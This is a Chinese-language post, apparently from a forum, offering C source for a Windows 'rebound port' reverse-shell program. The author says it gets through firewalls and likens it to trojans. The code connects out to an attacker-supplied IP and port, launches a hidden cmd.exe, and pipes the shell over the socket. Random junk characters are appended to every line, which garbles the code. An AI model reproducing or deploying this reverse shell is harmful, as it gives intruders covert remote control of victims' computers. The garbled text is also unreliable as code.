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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @;;3B  
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/* ============================== ,)?!p_*@:  
Rebound port in Windows NT Be;l!]i  
By wind,2006/7 wNvq['P  
===============================*/ >v#6SDg  
#include jEMnre3/  
#include zoibinm}Eg  
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#pragma comment(lib,"wsock32.lib") Xx,Rah)X3  
=[do([A  
void OutputShell(); o#uhPUZ  
SOCKET sClient; /JjSx/  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {iXQUj  
=C#22xqQ.  
void main(int argc,char **argv) T3bYj|rh=  
{ >zX`qv&>  
WSADATA stWsaData; fD<0V  
int nRet; Uc<BLu;  
SOCKADDR_IN stSaiClient,stSaiServer; y/Ui6D  
,8[R0wsBaz  
if(argc != 3) B,b^_4XX$  
{ R!>l7p/|H)  
printf("Useage:\n\rRebound DestIP DestPort\n"); eNDc220b  
return; Ex<@:  
} D4jZh+_|S  
,5& Rra/  
WSAStartup(MAKEWORD(2,2),&stWsaData); * `3+x  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {Q021*xt/  
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stSaiClient.sin_family = AF_INET; ~Dbu;cqR@  
stSaiClient.sin_port = htons(0); f?lnBvT|b  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #X"fm1  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?$@E}t8g\  
{ NQx>u  
printf("Bind Socket Failed!\n"); Dc9Fb^]QOG  
return; wvI}|c  
} QE6L_\l  
]# ;u]  
stSaiServer.sin_family = AF_INET; =>*9"k%m  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Rhzcm`"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); UYH&x:WEd  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]Wn=Oc{F  
{ Va$JfWef  
printf("Connect Error!"); %'MR;hQsd8  
return; YK V"bI  
} P\3H<?@4  
OutputShell(); Z8:'_#^@a[  
} 72\o6{BiC  
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void OutputShell() r12e26_Ab  
{ T^@P.zX  
char szBuff[1024]; m }\L i]  
SECURITY_ATTRIBUTES stSecurityAttributes; 8Yw V"+Fu/  
OSVERSIONINFO stOsversionInfo; /t04}+,e ^  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,-)ww:  
STARTUPINFO stStartupInfo; "|GX%> /  
char *szShell; to#T+d.(v  
PROCESS_INFORMATION stProcessInformation; `aM8L  
unsigned long lBytesRead; \GCT3$  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Q oWjC  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); kOV6O?h  
stSecurityAttributes.lpSecurityDescriptor = 0; 6AKT -r.  
stSecurityAttributes.bInheritHandle = TRUE; GE#LcCa  
-O6\!Wo=-  
++CL0S$e  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^ oh%Ns  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); IWnyqt(k  
~p$ncIr2Q  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); oI9-jW  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~c'R7E&Bfa  
stStartupInfo.wShowWindow = SW_HIDE; h<FEe~  
stStartupInfo.hStdInput = hReadPipe; m@y_Wt  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; '?b.t2  
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GetVersionEx(&stOsversionInfo); 6'JP%~QlS  
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switch(stOsversionInfo.dwPlatformId) _R;+}1G/  
{ ,CjJO -  
case 1: 3L%g2`  
szShell = "command.com";  DZ&AwF  
break; 6N'HXL UlQ  
default: ;aUI3n%  
szShell = "cmd.exe"; Bk8 '*O/)  
break; !' jXN82  
} BXX1G  
6| {uZNz  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); q pFzK  
c$]NXKcA  
send(sClient,szMsg,77,0); Vr<ypyC  
while(1) {bPcr hB  
{ 'gv7&$X}4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); b}jLI_R{  
if(lBytesRead) f>C|qDmT  
{ be5NasC  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1@A*Jj[R%  
send(sClient,szBuff,lBytesRead,0); parC~)b_  
} ]<\; -i)  
else -}r(75C  
{ 9 TILrK  
lBytesRead=recv(sClient,szBuff,1024,0); 5zsXqBG  
if(lBytesRead<=0) break; %]@K}!)2  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1">]w2je:  
}  \ l8$1p  
} Y&_1U/}h  
G.c@4Wz+  
return; JPTVZ  
}
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